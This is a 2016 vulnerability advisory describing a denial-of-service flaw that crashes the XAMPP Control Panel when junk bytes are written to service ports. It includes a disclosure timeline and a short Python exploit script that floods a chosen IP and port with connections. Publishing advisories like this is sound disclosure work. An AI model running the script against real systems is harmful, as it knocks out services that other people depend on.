XAMPP Control Panel Denial Of Service

`[+] Credits: John Page (hyp3rlinx)  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/XAMPP-CONTROL-PANEL-MEMORY-CORRUPTION-DOS.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
=====================  
www.apachefriends.org  
  
  
  
  
Product:  
===================  
XAMPP Control Panel  
  
  
XAMPP is a free and open source cross-platform web server solution stack  
package developed by Apache Friends,  
consisting mainly of the Apache HTTP Server, MariaDB database, and  
interpreters for scripts written in the PHP  
and Perl programming languages.  
  
  
  
Vulnerability Type:  
=====================  
Memory Corruption DOS  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
XAMPP Control Panel crashes with access violation when writing junk bytes  
into several different ports e.g.  
  
Tested following ports / versions:  
  
(MySQL) 3306 v3.2.2  
(Tomcat) 8080 (XAMPP v3.1.0)  
(FileZilla) 21  
(Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.  
  
It is not that XAMPP Control Panel is listening on some port, however  
memory corruption and Denial Of Service does  
occur when you constantly write junk into, for instance, the MySQL, Tomcat,  
FileZilla, Mercury Mail listening ports.  
  
  
1) Launch XAMPP control panel  
2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail)  
with Apache running and or Tomcat  
  
Target different services and port combinations to reproduce.  
  
Important to note is that neither MySQL or Apache itself crash, it IS the  
XAMPP Control Panel that crashes with Access Violation.  
  
  
Tested Windows SP1  
  
  
POC Video:  
https://vimeo.com/196938261  
  
  
Exploit code(s):  
===============  
  
  
import socket  
  
print "XAMPP Control Panel DOS"  
print "Discovery: John Page (hyp3rlinx)"  
print "ApparitionSec"  
print "hyp3rlinx.altervista.org\r\n"  
  
IP = raw_input("[IP]> ")  
PORT = raw_input("[PORT]> ")  
  
arr=[]  
c=0  
while 1:  
try:  
arr.append(socket.create_connection((IP,PORT)))  
arr[c].send("DOOM")  
print "Die!"  
c+=1  
except socket.error:  
print "[+] Done! "  
raw_input()  
break  
  
  
  
  
Disclosure Timeline:  
=======================================  
Vendor Notification: November 1, 2016  
Vendor acknowledgement: November 4, 2016  
Vendor released Fix : December 22, 2016  
(NO public mention as of the time of this writing)  
December 24, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`